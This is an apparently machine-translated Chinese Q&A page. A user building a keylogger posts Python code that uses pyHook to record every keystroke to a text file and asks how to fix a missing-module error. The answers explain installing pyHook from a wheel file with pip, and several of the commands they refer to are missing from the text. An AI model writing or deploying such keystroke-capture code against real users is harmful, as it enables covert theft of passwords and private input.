我试图安装PyHook,但仍有错误:
ImportError: No module named 'pyhook'
请给我一个解决办法。如何解决此错误。
我正在做一个钥匙记录程序。
**code:**
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'YOURNAME-keylog.txt'
def OnkeyboardEvent(event):
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
print "Key: ", chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
第一个。如果您想要PyHook,就必须自己下载它,因为它不是python附带的标准python library的一部分。你可以用我的方法安装它。但我推荐的方法是:
1。从this页面下载PyHook。确保下载的内容与您的python版本和位号(32或64)相匹配。
2。下一步在命令提示符/终端窗口中键入:
这个命令告诉pip为安装PyHook。在我的案例中,我键入:
完成此操作后,脚本应该可以正常运行。如果使用此方法确实遇到任何问题,请检查是否安装了正确版本的python和正确的位号。
首先检查运行的是哪个python版本,在我输入python时会看到:
这意味着我需要为Python2.7安装64位版本,最简单的方法是下载pyhook package from this website,然后将其保存在virtualenv目录(如果您正在使用)或python文件夹中。然后打开命令提示符并转到下载包的路径,然后键入
pip install the_name_of_your_package.whl
,例如,如果您运行的是Python2.764bits,则键入:一旦安装正确,脚本应该可以正常工作。
相关问题 更多 >
编程相关推荐